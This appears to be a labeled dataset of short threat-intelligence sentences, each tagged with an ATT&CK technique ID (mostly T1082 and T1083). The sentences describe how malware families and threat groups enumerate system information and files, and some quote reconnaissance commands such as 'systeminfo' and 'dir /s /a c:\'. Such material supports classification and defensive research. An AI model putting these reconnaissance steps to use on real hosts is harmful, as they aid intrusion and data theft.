+During FunnyDream, the threat actors used Systeminfo to collect information on targeted hosts.	['T1082']
+During Operation CuckooBees, the threat actors used the `systeminfo` command to gather details about a compromised system.	['T1082']
+During Operation Wocao, threat actors discovered the local disks attached to the system and their hardware information including manufacturer and model, as well as the OS versions of systems connected to a targeted network.	['T1082']
+DustySky extracts basic information about the operating system.	['T1082']
+EVILNUM can obtain the computer name from the victim's system.	['T1082']
+Egregor can perform a language check of the infected system and can query the CPU information (cupid).	['T1082']
+"Elise executes ""systeminfo"" after initial communication is made to the remote server."	['T1082']
+Emissary has the capability to execute ver and systeminfo commands.	['T1082']
+Empire can enumerate host system information like OS, architecture, domain name, applied patches, and more.	['T1082']
+EnvyScout can determine whether the ISO payload was received by a Windows or iOS device.	['T1082']
+Epic collects the OS version, hardware information, computer name, available system memory status, disk space information, and system and user language settings.	['T1082']
+Explosive has collected the computer name from the infected host.	['T1082']
+FALLCHILL can collect operating system (OS) version information, processor information, system name, and information about installed disks from the victim.	['T1082']
+FELIXROOT collects the victim’s computer name, processor architecture, OS version, volume serial number, and system type.	['T1082']
+"Ferocious can use ""GET.WORKSPACE"" in Microsoft Excel to determine the OS version of the compromised host."	['T1082']
+Final1stspy obtains victim Microsoft Windows version information and CPU architecture.	['T1082']
+GRIFFON has used a reconnaissance module that can be used to retrieve information about a victim's computer, including the resolution of the workstation .	['T1082']
+Gelsemium can determine the operating system and whether a targeted machine has a 32 or 64 bit architecture.	['T1082']
+"Gold Dragon collects endpoint information using the ""systeminfo"" command."	['T1082']
+GravityRAT collects the MAC address, computer name, and CPU information.	['T1082']
+Green Lambert can use `uname` to identify the operating system name, version, and processor type.	['T1082']
+GrimAgent can collect the OS, and build version on a compromised host.	['T1082']
+HAWKBALL can collect the OS version, architecture information, and computer name.	['T1082']
+HELLOKITTY can enumerate logical drives on a target system.	['T1082']
+HEXANE has collected the hostname of a compromised machine.	['T1082']
+HermeticWiper can determine the OS version, bitness, and enumerate physical drives on a targeted host.	['T1082']
+Heyoka Backdoor can enumerate drives on a compromised host.	['T1082']
+Higaisa collected the system volume serial number, GUID, and computer name.	['T1082']
+Hildegard has collected the host's OS, CPU, and memory information.	['T1082']
+HotCroissant has the ability to determine if the current user is an administrator, Windows product name, processor name, screen resolution, and physical RAM of the infected host.	['T1082']
+Hydraq creates a backdoor through which remote attackers can retrieve information such as computer name, OS version, processor speed, memory size, and CPU speed.	['T1082']
+IcedID has the ability to identify the computer name and OS version on a compromised host.	['T1082']
+Inception has used a reconnaissance module to gather information about the operating system and hardware on the infected host.	['T1082']
+Industroyer collects the victim machine’s Windows GUID.	['T1082']
+InnaputRAT gathers volume drive information and system information.	['T1082']
+Ixeshe collects the computer name of the victim's system during the initial infection.	['T1082']
+JPIN can obtain system information such as OS version and disk space.	['T1082']
+KARAE can collect system information.	['T1082']
+KGH_SPY can collect drive information from a compromised host.	['T1082']
+KOMPROGO is capable of retrieving information about the infected system.	['T1082']
+"KONNI can gather the OS version, architecture information, connected drives, hostname, RAM size, and disk space information from the victim’s machine and has used ""cmd /c systeminfo"" command to get a snapshot of the current system state of the target machine."	['T1082']
+Kasidet has the ability to obtain a victim's system name and operating system version.	['T1082']
+Kazuar gathers information on the system and local drives.	['T1082']
+"Ke3chang performs operating system information discovery using ""systeminfo"" and has used implants to identify the system language and computer name."	['T1082']
+Kessel has collected the system architecture, OS version, and MAC address information.	['T1082']
+Kevin can enumerate the OS version and hostname of a targeted machine.	['T1082']
+KeyBoy can gather extended system information, such as information about the operating system, disks, and memory.	['T1082']
+"KillDisk retrieves the hard disk name by calling the ""CreateFileA to \\.\PHYSICALDRIVE0"" API."	['T1082']
+"Kimsuky has enumerated drives, OS type, OS version, and other information using a script or the ""systeminfo"" command."	['T1082']
+Koadic can obtain the OS version and build, computer name, and processor architecture from a compromised host.	['T1082']
+Kobalos can record the hostname and kernel version of the target machine.	['T1082']
+"Kwampirs collects OS version information such as registered owner details, manufacturer details, processor type, available storage, installed patches, hostname, version info, system date, and other system information by using the commands ""systeminfo"", ""net config workstation"", ""hostname"", ""ver"", ""set"", and ""date /t""."	['T1082']
+Linfo creates a backdoor through which remote attackers can retrieve system information.	['T1082']
+LitePower has the ability to list local drives and enumerate the OS architecture.	['T1082']
+Lizar can collect the computer name from the machine,.	['T1082']
+Lokibot has the ability to discover the computer name and Windows product name/version.	['T1082']
+LoudMiner has monitored CPU usage.	['T1082']
+MacMa can collect information about a compromised computer, including: Hardware UUID, Mac serial number, macOS version, and disk sizes.	['T1082']
+Magic Hound malware has used a PowerShell command to check the victim system architecture to determine if it is an x64 machine. Other malware has obtained the OS version, UUID, and computer/host name to send to the C2 server.	['T1082']
+MarkiRAT can obtain the computer name from a compromised host.	['T1082']
+Metamorfo has collected the hostname and operating system version from the compromised host.	['T1082']
+Meteor has the ability to discover the hostname of a compromised host.	['T1082']
+Milan can enumerate the targeted machine's name and GUID.	['T1082']
+MiniDuke can gather the hostname on a compromised machine.	['T1082']
+MobileOrder has a command to upload to its C2 server victim mobile device information, including IMEI, IMSI, SIM card serial number, phone number, Android version, and other information.	['T1082']
+Mongall can identify drives on compromised hosts and retrieve the hostname via `gethostbyname`.	['T1082']
+MoonWind can obtain the victim hostname, Windows version, RAM amount, number of drives, and screen resolution.	['T1082']
+More_eggs has the capability to gather the OS version and computer name.	['T1082']
+MuddyWater has used malware that can collect the victim’s OS version and machine name.	['T1082']
+"Mustang Panda has gathered system information using ""systeminfo""."	['T1082']
+NETWIRE can discover and collect victim system information.	['T1082']
+Naid collects a unique identifier (UID) from a compromised host.	['T1082']
+Nebulae can discover logical drive information including the drive type, free space, and volume information.	['T1082']
+Netwalker can determine the system architecture it is running on to choose which version of the DLL to use.	['T1082']
+OSInfo discovers information about the infected machine.	['T1082']
+OceanSalt can collect the computer name from the system.	['T1082']
+"OilRig has run ""hostname"" and ""systeminfo"" on a victim."	['T1082']
+Okrum can collect computer name, locale information, and information about the OS and architecture.	['T1082']
+Orz can gather the victim OS version and whether it is 64 or 32 bit.	['T1082']
+POWERSTATS can retrieve OS name/architecture and computer/domain name information from compromised hosts.	['T1082']
+PUNCHBUGGY can gather system information such as computer names.	['T1082']
+Pasam creates a backdoor through which remote attackers can retrieve information such as hostname and free disk space.	['T1082']
+Patchwork collected the victim computer name, OS version, and architecture type and sent the information to its C2 server. Patchwork also enumerated all available drives on the victim's machine.	['T1082']
+Penquin can report the file system type and disk space of a compromised host to C2.	['T1082']
+PipeMon can collect and send OS version and computer name as a part of its C2 beacon.	['T1082']
+PoetRAT has the ability to gather information about the compromised host.	['T1082']
+Pony has collected the Service Pack, language, and region information to send to the C2.	['T1082']
+"PoshC2 contains modules, such as ""Get-ComputerInfo"", for enumerating common system information."	['T1082']
+PowerShower has collected system information on the infected host.	['T1082']
+Proxysvc collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system.	['T1082']
+QakBot can collect system information including the OS version and domain on a compromised host.	['T1082']
+QuasarRAT can gather system information from the victim’s machine including the OS type.	['T1082']
+RATANKBA gathers information about the OS architecture, OS name, and OS version/Service pack.	['T1082']
+REvil can identify the username, machine name, system language, keyboard layout, OS version, and system drive information on a compromised host.	['T1082']
+ROKRAT can gather the hostname and the OS version to ensure it doesn’t run on a Windows XP or Windows Server 2003 systems.	['T1082']
+RTM can obtain the computer name, OS version, and default language identifier.	['T1082']
+Ramsay can detect system information--including disk names, total space, and remaining space--to create a hardware profile GUID which acts as a system identifier for operators.	['T1082']
+Reaver collects system information from the victim, including CPU speed, computer name, volume serial number, ANSI code page, OEM code page identifier for the OS, Microsoft Windows version, and memory information.	['T1082']
+RedLeaves can gather extended system information including the hostname, OS version number, platform, memory information, time elapsed since system startup, and CPU information.	['T1082']
+Remsec can obtain the OS version information, computer name, processor architecture, machine role, and OS edition.	['T1082']
+Revenge RAT collects the CPU information, OS information, and system language.	['T1082']
+Rifdoor has the ability to identify the Windows version on the compromised host.	['T1082']
+Rising Sun can detect the computer name, operating system, and drive information, including drive type, total number of bytes on disk, total number of free bytes on disk, and name of a specified volume.	['T1082']
+Rocke has used uname -m to collect the name and information about the infected system's kernel.	['T1082']
+RogueRobin gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name.	['T1082']
+RunningRAT gathers the OS version, logical drives information, processor information, and volume information.	['T1082']
+"Ryuk has called ""GetLogicalDrives"" to emumerate all mounted drives, and ""GetDriveTypeW"" to determine the drive type."	['T1082']
+SDBbot has the ability to identify the OS version, OS bit information and computer name.	['T1082']
+SHARPSTATS has the ability to identify the IP address, machine name, and OS of the compromised host.	['T1082']
+SILENTTRINITY can collect information related to a compromised host, including OS version and a list of drives.	['T1082']
+SLOWDRIFT collects and sends system information to its C2.	['T1082']
+"SMOKEDHAM has used the ""systeminfo"" command on a compromised host."	['T1082']
+SOUNDBITE is capable of gathering system information.	['T1082']
+STARWHALE can gather the computer name of an infected host.	['T1082']
+SUNBURST collected hostname, OS version, and device uptime.	['T1082']
+SYSCON has the ability to use Systeminfo to identify system information.	['T1082']
+Saint Bot can identify the OS version, CPU, and other details from a victim's machine.	['T1082']
+Sandworm Team used a backdoor to enumerate information about the infected system's operating system.	['T1082']
+ServHelper will attempt to enumerate Windows version and system architecture.	['T1082']
+Several Lazarus Group malware families collect information on the type and version of the victim OS, as well as the victim computer name and CPU information. A Destover-like variant used by Lazarus Group also collects disk space information and sends it to its C2 server.	['T1082']
+ShadowPad has discovered system information including memory status, CPU frequency, OS versions, and volume serial numbers.	['T1082']
+SideTwist can collect the computer name of a targeted system.	['T1082']
+Skidmap has the ability to check whether the infected system’s OS is Debian or RHEL/CentOS to determine which cryptocurrency miner it should use.	['T1082']
+SodaMaster can enumerate the host name and OS version on a target system.	['T1082']
+"SombRAT can execute ""getinfo"" to enumerate the computer name and OS version of a compromised system."	['T1082']
+SoreFang can collect the hostname, operating system configuration, product ID, and disk space on victim machines by executing Systeminfo.	['T1082']
+Sowbug obtained OS version and hardware configuration from a victim.	['T1082']
+Spark can collect the hostname, keyboard layout, and language from the system.	['T1082']
+Squirrelwaffle has gathered victim computer information and configurations.	['T1082']
+Stealth Falcon malware gathers system information via WMI, including the system directory, build number, serial number, version, manufacturer, model, and total physical memory.	['T1082']
+StoneDrill has the capability to discover the system OS, Windows version, architecture and environment.	['T1082']
+StreamEx has the ability to enumerate system information.	['T1082']
+StrifeWater can collect the OS version, architecture, and machine name to create a unique token for the infected host.	['T1082']
+StrongPity can identify the hard disk volume serial number on a compromised host.	['T1082']
+SysUpdate can determine whether a system has a 32 bit or 64 bit architecture.	['T1082']
+Systeminfo can be used to gather information about the operating system.	['T1082']
+TeamTNT has searched for system version, architecture, disk partition, logical volume, and hostname information.	['T1082']
+The IceApple Server Variable Dumper module iterates over all server variables present for the current request and returns them to the adversary.	['T1082']
+The initial beacon packet for Mis-Type contains the operating system version and file system of the victim.	['T1082']
+The initial beacon packet for Misdat contains the operating system version of the victim.	['T1082']
+The initial beacon packet for S-Type contains the operating system version and file system of the victim.	['T1082']
+ThreatNeedle can collect system profile information from a compromised host.	['T1082']
+Trojan.Karagany can capture information regarding the victim's OS, security, and hardware configuration.	['T1082']
+Tropic Trooper has detected a target system’s OS version and system volume information.	['T1082']
+Tropic Trooper has detected a target system’s OS version.	['T1082']
+"Turla surveys a system upon check-in to discover operating system configuration details using the ""systeminfo"" and ""set"" commands."	['T1082']
+UPPERCUT has the capability to gather the system’s hostname and OS version.	['T1082']
+Ursnif has used Systeminfo to gather system information.	['T1082']
+VERMIN collects the OS name, machine name, and architecture information.	['T1082']
+Valak can determine the Windows version and computer name on a compromised host.	['T1082']
+Volgmer can gather system information, the computer name, OS version, drive and serial information from the victim's machine.	['T1082']
+WINDSHIELD can gather the victim computer name.	['T1082']
+WINERACK can gather information about the host.	['T1082']
+WellMess can identify the computer name of a compromised host.	['T1082']
+WhisperGate has the ability to enumerate fixed logical drives on a targeted system.	['T1082']
+WinMM collects the system name, OS version including service pack, and system install date and sends the information to the C2 server.	['T1082']
+Windigo has used a script to detect which Linux distribution and version is currently installed on the system.	['T1082']
+Windshift has used malware to identify the computer name of a compromised host.	['T1082']
+Wingbird checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.	['T1082']
+Winnti for Windows can determine if the OS on a compromised host is newer than Windows XP.	['T1082']
+"XAgentOSX contains the getInstalledAPP function to run ""ls -la /Applications"" to gather what applications are installed."	['T1082']
+"XCSSET identifies the macOS version and uses ""ioreg"" to determine serial number."	['T1082']
+YAHOYAH checks for the system’s Windows OS version and hostname.	['T1082']
+ZIRCONIUM has used a tool to capture the processor architecture of a compromised host in order to register it with C2.	['T1082']
+ZeroT gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server.	['T1082']
+Zeus Panda collects the OS version, system architecture, computer name, product ID, install date, and information on the keyboard mapping to determine the language used on the system.	['T1082']
+Zox can enumerate attached drives.	['T1082']
+ZxShell can collect the local hostname, operating system details, CPU speed, and total physical memory.	['T1082']
+ZxxZ has collected the host name and operating system product name from a compromised machine.	['T1082']
+"admin@338 actors used the following commands after exploiting a machine with LOWBALL malware to obtain information about the OS: ""ver >> %temp%\download"" ""systeminfo >> %temp%\download"""	['T1082']
+build_downer has the ability to send system volume information to C2.	['T1082']
+cmd can be used to find information about the operating system.	['T1082']
+down_new has the ability to identify the system volume information of a compromised host.	['T1082']
+gh0st RAT has gathered system architecture, processor, OS configuration, and installed hardware information.	['T1082']
+jRAT collects information about the OS (version, build type, install date) as well as system up-time upon receiving a connection from a backdoor.	['T1082']
+njRAT enumerates the victim operating system and computer name during the initial infection.	['T1082']
+3PARA RAT has a command to retrieve metadata for files on disk as well as a command to list the current working directory.	['T1083']
+4H RAT has the capability to obtain file and directory listings.	['T1083']
+A Patchwork payload has searched all fixed drives on the victim for files matching a specified list of extensions.	['T1083']
+A module in Prikormka collects information about the paths, size, and creation time of files with specific file extensions, but not the actual content of the file.	['T1083']
+"A variant of Elise executes ""dir C:\progra~1"" when initially run."	['T1083']
+A version of KONNI searches for filenames created with a previous version of the malware, suggesting different versions targeted the same victims and the versions may work together.	['T1083']
+ADVSTORESHELL can list files and directories.	['T1083']
+APT28 has used Forfiles to locate PDF, Excel, and Word documents during collection. The group also searched a compromised DCCC computer for specific terms.	['T1083']
+"APT29 obtained information about the configured Exchange virtual directory using ""Get-WebServicesVirtualDirectory""."	['T1083']
+APT3 has a tool that looks for files and directories on the local file system.	['T1083']
+APT32's backdoor possesses the capability to list files and directories on a machine.	['T1083']
+APT38 have enumerated files and directories, or searched in specific locations within a compromised host.	['T1083']
+Action RAT has the ability to collect drive and file information on an infected machine.	['T1083']
+Amadey has searched for folders associated with antivirus software.	['T1083']
+Aoqin Dragon has run scripts to identify file formats including Microsoft Word.	['T1083']
+AppleSeed has the ability to search for .txt, .ppt, .hwp, .pdf, and .doc files in specified directories.	['T1083']
+Aria-body has the ability to gather metadata from a file and to search for file and directory names.	['T1083']
+Attor has a plugin that enumerates files with specific extensions on all hard disk drives and stores file information in encrypted log files.	['T1083']
+AuditCred can search through folders and files on the system.	['T1083']
+AutoIt backdoor is capable of identifying documents on the victim with the following extensions: .doc; .pdf, .csv, .ppt, .docx, .pst, .xls, .xlsx, .pptx, and .jpeg.	['T1083']
+Avaddon has searched for specific files prior to encryption.	['T1083']
+Avenger has the ability to browse files in directories such as Program Files and the Desktop.	['T1083']
+Azorult can recursively search for files in folders and collects files from the desktop with certain extensions.	['T1083']
+BACKSPACE allows adversaries to search for files.	['T1083']
+BADNEWS identifies files with certain extensions from USB devices, then copies them to a predefined directory.	['T1083']
+BBSRAT can list file and directory information.	['T1083']
+BLACKCOFFEE has the capability to enumerate files.	['T1083']
+BLINDINGCAN can search, read, write, move, and execute files.	['T1083']
+BRONZE BUTLER has collected a list of files from the victim and uploaded it to its C2 server, and then created a new list of specific files to steal.	['T1083']
+Babuk has the ability to enumerate files on a targeted system.	['T1083']
+"BabyShark has used ""dir"" to search for ""programfiles"" and ""appdata""."	['T1083']
+BackConfig has the ability to identify folders and files related to previous infections.	['T1083']
+Backdoor.Oldrea collects information about available drives, default browser, desktop file list, My Documents, Internet history, program files, and root of available drives. It also searches for ICS-related software files.	['T1083']
+BadPatch searches for files with specific file extensions.	['T1083']
+Bandook has a command to list files on a system.	['T1083']
+Bazar can enumerate the victim's desktop.	['T1083']
+BlackMould has the ability to find files on the targeted system.	['T1083']
+BoomBox can search for specific files and directories on a machine.	['T1083']
+BoxCaon has searched for files on the system, such as documents located in the desktop folder.	['T1083']
+Brave Prince gathers file and directory information from the victim’s machine.	['T1083']
+CaddyWiper can enumerate all files and directories on a compromised host.	['T1083']
+Cardinal RAT checks its current working directory upon execution and also contains watchdog functionality that ensures its executable is located in the correct path (else it will rewrite the payload).	['T1083']
+Caterpillar WebShell can search for files in directories.	['T1083']
+ChChes collects the victim's %TEMP% directory path and version of Internet Explorer.	['T1083']
+CharmPower can enumerate drives and list the contents of the C: drive on a victim's computer.	['T1083']
+Chimera has utilized multiple commands to identify data of interest in file and directory listings.	['T1083']
+China Chopper's server component can list directory contents.	['T1083']
+Clambling can browse directories on a compromised host.	['T1083']
+Clop has searched folders and subfolders for files to encrypt.	['T1083']
+Cobalt Strike can explore files on a compromised system.	['T1083']
+Confucius has used a file stealer that checks the Document, Downloads, Desktop, and Picture folders for documents and images with specific extensions.	['T1083']
+Conti can discover files on a local system.	['T1083']
+CosmicDuke searches attached and mounted drives for file extensions and keywords that match a predefined list.	['T1083']
+CrackMapExec can discover specified filetypes and log files on a targeted system.	['T1083']
+Crimson contains commands to list files and directories, as well as search for files matching certain extensions from a defined list.	['T1083']
+Cryptoistic can scan a directory to identify files for deletion.	['T1083']
+Cuba can enumerate files by using a variety of functions.	['T1083']
+Cyclops Blink can use the Linux API `statvfs` to enumerate the current working directory.	['T1083']
+DDKONG lists files on the victim’s machine.	['T1083']
+DEATHRANSOM can use loop operations to enumerate directories on a compromised host.	['T1083']
+Dacls can scan directories on a compromised host.	['T1083']
+Dark Caracal collected file listings of all default Windows directories.	['T1083']
+DarkWatchman has the ability to enumerate file and folder names.	['T1083']
+Darkhotel has used malware that searched for files with specific patterns.	['T1083']
+Denis has several commands to search directories for files.	['T1083']
+Derusbi is capable of obtaining directory, file, and drive listings.	['T1083']
+Diavol has a command to traverse the files and directories in a given path.	['T1083']
+Dragonfly 2.0 used a batch script to gather folder and file names from victim hosts.	['T1083']
+Dragonfly has used a batch script to gather folder and file names from victim hosts.	['T1083']
+DropBook can collect the names of all files and folders in the Program Files directories.	['T1083']
+Dtrack can list files on available disk volumes.	['T1083']
+During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful.	['T1083']
+Dust Storm has used Android backdoors capable of enumerating specific files on the infected devices.	['T1083']
+DustySky scans the victim for files that contain certain keywords and document types including PDF, DOC, DOCX, XLS, and XLSX, from a list that is obtained from the C2 as a text file. It can also identify logical drives for the infected machine.	['T1083']
+Ebury can list directory entries.	['T1083']
+Empire includes various modules for finding files of interest on hosts and network shares.	['T1083']
+Epic recursively searches for all .doc files on the system and collects a directory listing of the Desktop, %TEMP%, and %WINDOWS%\Temp directories.	['T1083']
+FALLCHILL can search files on a victim.	['T1083']
+FIVEHANDS has the ability to enumerate files on a compromised host in order to encrypt files with specific extensions.	['T1083']
+"FYAnti can search the ""C:\Windows\Microsoft.NET\"" directory for files of a specified size."	['T1083']
+FatDuke can enumerate directories on target machines.	['T1083']
+FinFisher enumerates directories and scans for certain files.	['T1083']
+FoggyWeb's loader can check for the FoggyWeb backdoor .pri file on a compromised AD FS server.	['T1083']
+Forfiles can be used to locate certain types of files/directories in a system.(ex: locate all files with a specific extension, name, and/or age)	['T1083']
+FunnyDream can identify files with .doc, .docx, .ppt, .pptx, .xls, .xlsx, and .pdf extensions and specific timestamps for collection.	['T1083']
+Fysbis has the ability to search for files.	['T1083']
+Gamaredon Group macros can scan for Microsoft Word and Excel files to inject with additional malicious macros. Gamaredon Group has also used its backdoors to automatically list interesting files (such as Office documents) found on a system.	['T1083']
+Gelsemium can retrieve data from specific Windows directories, as well as open random files as part of Virtualization/Sandbox Evasion.	['T1083']
+GeminiDuke collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs.	['T1083']
+Gold Dragon lists the directories for Desktop, program files, and the user’s recently accessed files.	['T1083']
+"GoldenSpy has included a program ""ExeProtector"", which monitors for the existence of GoldenSpy on the infected system and redownloads if necessary."	['T1083']
+GravityRAT collects the volumes mapped on the system, and also steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.	['T1083']
+HOPLIGHT has been observed enumerating system drives and partitions.	['T1083']
+HTTPBrowser is capable of listing files, folders, and drives on a victim.	['T1083']
+Heyoka Backdoor has the ability to search the compromised host for files.	['T1083']
+Honeybee's service-based DLL implant traverses the FTP server’s directories looking for files with keyword matches for computer names or certain keywords.	['T1083']
+HotCroissant has the ability to retrieve a list of files in a given directory as well as drives and drive types.	['T1083']
+Hydraq creates a backdoor through which remote attackers can check for the existence of files, including its own components, as well as retrieve a list of logical drives.	['T1083']
+Imminent Monitor has a dynamic debugging feature to check whether it is located in the %TEMP% directory, otherwise it copies itself there.	['T1083']
+Inception used a file listing plugin to collect information about file and directories both on local and remote drives.	['T1083']
+InnaputRAT enumerates directories and obtains file attributes on a system.	['T1083']
+InvisiMole can list information about files in a directory and recently opened or used documents. InvisiMole can also search for specific files by supplied file mask.	['T1083']
+Ixeshe can list file and directory information.	['T1083']
+JPIN can enumerate drives and their types. It can also change file permissions using cacls.exe.	['T1083']
+KEYMARBLE has a command to search for files on the victim’s machine.	['T1083']
+Kasidet has the ability to search for a given filename on a victim.	['T1083']
+Ke3chang uses command-line interaction to search files and directories.	['T1083']
+KeyBoy has a command to launch a file browser or explorer on the system.	['T1083']
+"KillDisk has used the ""FindNextFile"" command as part of its file deletion process."	['T1083']
+Koadic can obtain a list of directories.	['T1083']
+"Kwampirs collects a list of files and directories in C:\ with the command ""dir /s /a c:\ >> ""C:\windows\TEMP\[RANDOM].tmp""""."	['T1083']
+Leafminer used a tool called MailSniper to search for files on the desktop and another utility called Sobolsoft to extract attachments from EML files.	['T1083']
+Linfo creates a backdoor through which remote attackers can list contents of drives and search for files.	['T1083']
+MESSAGETAP checks for the existence of two configuration files (keyword_parm.txt and parm.txt) and attempts to read the files every 30 seconds.	['T1083']
+MacMa can search for a specific file on the compromised computer and can enumerate files in Desktop, Downloads, and Documents folders.	['T1083']
+Machete produces file listings in order to search for files to be exfiltrated.	['T1083']
+Magic Hound malware can list a victim's logical drives and the type, as well the total/free space of the fixed devices. Other malware can list a directory's contents.	['T1083']
+MarkiRAT can look for files carrying specific extensions such as: .rtf, .doc, .docx, .xls, .xlsx, .ppt, .pptx, .pps, .ppsx, .txt, .gpg, .pkr, .kdbx, .key, and .jpb.	['T1083']
+MegaCortex can parse the available drives and directories to determine which files to encrypt.	['T1083']
+Micropsia can perform a recursive directory listing for all volume drives available on the victim's machine and can also fetch specific files by their paths.	['T1083']
+MiniDuke can enumerate local drives.	['T1083']
+Misdat is capable of running commands to obtain a list of files and directories, as well as enumerating logical drives.	['T1083']
+MobileOrder has a command to upload to its C2 server information about files on the victim mobile device, including SD card size, installed app list, SMS content, contacts, and calling history.	['T1083']
+MoonWind has a command to return a directory listing for a specified directory.	['T1083']
+NETEAGLE allows adversaries to enumerate and modify the infected host's file system. It supports searching for directories, creating directories, listing directory contents, reading and writing to files, retrieving file attributes, and retrieving volume information.	['T1083']
+NETWIRE has the ability to search for files on the compromised host.	['T1083']
+Nebulae can list files and directories on a compromised host.	['T1083']
+NotPetya searches for files ending with dozens of different file extensions prior to encryption.	['T1083']
+ObliqueRAT has the ability to recursively enumerate files on an infected endpoint.	['T1083']
+OceanSalt can extract drive information from the endpoint and search files on the system.	['T1083']
+Octopus can collect information on the Windows directory and searches for compressed RAR files on the host.	['T1083']
+Okrum has used DriveLetterView to enumerate drive information.	['T1083']
+Operation Wocao has gathered a recursive directory listing to find files and directories of interest.	['T1083']
+Orz can gather victim drive information.	['T1083']
+OutSteel can search for specific file extensions, including zipped files.	['T1083']
+POORAIM can conduct file browsing.	['T1083']
+POWRUNER may enumerate user directories on a victim.	['T1083']
+Pasam creates a backdoor through which remote attackers can retrieve lists of files.	['T1083']
+"Penquin can use the command code ""do_vslist"" to send file names, size, and status to C2."	['T1083']
+Peppy can identify specific files for exfiltration.	['T1083']
+PingPull can enumerate storage volumes and folder contents of a compromised host.	['T1083']
+Pisloader has commands to list drives on the victim machine and to list file information for a given directory.	['T1083']
+PlugX has a module to enumerate drives and find files recursively.	['T1083']
+"PoetRAT has the ability to list files upon receiving the ""ls"" command from C2."	['T1083']
+PowerDuke has commands to get the current directory name as well as the size of a file. It also has commands to obtain information about logical drives, drive type, and free space.	['T1083']
+Psylo has commands to enumerate all storage devices and to find all files that start with a particular string.	['T1083']
+Pteranodon identifies files matching certain file extension and copies them to subdirectories it created.	['T1083']
+Pupy can walk through directories and recursively search for strings in files.	['T1083']
+QakBot can identify whether it has been run previously on a host by checking for a specified folder.	['T1083']
+QuietSieve can search files on the target host by extension, including doc, docx, xls, rtf, odt, txt, jpg, pdf, rar, zip, and 7z.	['T1083']
+RARSTONE obtains installer properties from Uninstall Registry Key entries to obtain information about installed applications and how to uninstall certain applications.	['T1083']
+REvil has the ability to identify specific files and directories that are not to be encrypted.	['T1083']
+ROKRAT has the ability to gather a list of files and directories on the infected system.	['T1083']
+RainyDay can use a file exfiltration tool to collect recently changed files with specific extensions.	['T1083']
+Ramsay can collect directory and file lists.	['T1083']
+Rclone can list files and directories with the `ls`, `lsd`, and `lsl` commands.	['T1083']
+Remexi searches for files on the system.	['T1083']
+RemoteUtilities can enumerate files and directories on a target machine.	['T1083']
+Remsec is capable of listing contents of folders on the victim. Remsec also searches for custom network encryption software on victims.	['T1083']
+Rising Sun can enumerate information about files from the infected system, including file size, attributes, creation time, last access time, and write time. Rising Sun can enumerate the compilation timestamp of Windows executable files.	['T1083']
+Rover automatically searches for files on local drives based on a predefined list of file extensions.	['T1083']
+SDBbot has the ability to get directory listings or drive information on a compromised host.	['T1083']
+SHOTPUT has a command to obtain a directory listing.	['T1083']
+SILENTTRINITY has several modules, such as `ls.py`, `pwd.py`, and `recentFiles.py`, to enumerate directories and files.	['T1083']
+SLOTHFULMEDIA can enumerate files and directories.	['T1083']
+SPACESHIP identifies files and directories for collection by searching for specific file extensions or file modification time.	['T1083']
+SUGARDUMP can search for and collect data from specific Chrome, Opera, Microsoft Edge, and Firefox files, including any folders that have the string `Profile` in its name.	['T1083']
+SUNSPOT enumerated the Orion software Visual Studio solution directory path.	['T1083']
+Sandworm Team has enumerated files on a compromised host.	['T1083']
+Seasalt has the capability to identify the drive type on a victim.	['T1083']
+Several Lazarus Group has conducted word searches on compromised machines to identify specific documents of interest. Lazarus Group malware can use a common function to identify target files by their extension, and some also enumerate files and directories, including a Destover-like variant that lists files and gathers information for all drives.	['T1083']
+"Shamoon attempts to access the ""ADMIN$"", ""C$\Windows"", ""D$\Windows"", and ""E$\Windows"" shares on the victim with its current privileges."	['T1083']
+ShimRat can list directories.	['T1083']
+Sidewinder has used malware to collect information on files and directories.	['T1083']
+Siloscape searches for the Kubernetes config file and other related files using a regular expression.	['T1083']
+"Skidmap has checked for the existence of specific files including ""/usr/sbin/setenforce"" and "" /etc/selinux/config"". It also has the ability to monitor the cryptocurrency miner file and process."	['T1083']
+Sliver can enumerate files on a target system.	['T1083']
+Smoke Loader recursively searches through directories for files.	['T1083']
+"SombRAT can execute ""enum"" to enumerate files in storage on a compromised system."	['T1083']
+Sowbug identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.	['T1083']
+StreamEx has the ability to enumerate drive types.	['T1083']
+StrifeWater can enumerate files on a compromised host.	['T1083']
+StrongPity can parse the hard drive on a compromised host to identify specific file extensions.	['T1083']
+Stuxnet uses a driver to scan for specific filesystem driver objects.	['T1083']
+SynAck checks its directory location in an attempt to avoid launching in a sandbox.	['T1083', 'T1497.001']
+SysUpdate can search files on a compromised host.	['T1083']
+"TAINTEDSCRIBE can use ""DirectoryList"" to enumerate files in a specified directory."	['T1083']
+TINYTYPHON searches through the drive containing the OS, then all drive letters C through to Z, for documents matching certain extensions.	['T1083']
+TSCookie has the ability to discover drive information on the infected host.	['T1083']
+Taidoor can search for specific files.	['T1083']
+TajMahal has the ability to index files from drives, user profiles, and removable drives.	['T1083']
+TeamTNT has used a script that checks `/proc/*/environ` for environment variables related to AWS.	['T1083']
+The IceApple Directory Lister module can list information about files and directories including creation time, last write time, name, and size.	['T1083']
+TrickBot searches the system for all of the following file extensions: .avi, .mov, .mkv, .mpeg, .mpeg4, .mp4, .mp3, .wav, .ogg, .jpeg, .jpg, .png, .bmp, .gif, .tiff, .ico, .xlsx, and .zip. It can also obtain browsing history, cookies, and plug-in information.	['T1083']
+Tropic Trooper has monitored files' modified time.	['T1083']
+Turian can search for specific files and list directories.	['T1083']
+"Turla surveys a system upon check-in to discover files in specific locations on the hard disk %TEMP% directory, the current user's desktop, the Program Files directory, and Recent. Turla RPC backdoors have also searched for files matching the ""lPH*.dll"" pattern."	['T1083']
+"UNC2452 obtained information about the configured Exchange virtual directory using ""Get-WebServicesVirtualDirectory""."	['T1083']
+USBferry can detect the victim's file or folder list.	['T1083']
+Volgmer can list directories on a victim.	['T1083']
+WannaCry searches for variety of user files by file extension before encrypting them using RSA and AES, including Office, PDF, image, audio, video, source code, archive/compression format, and key and certificate files.	['T1083']
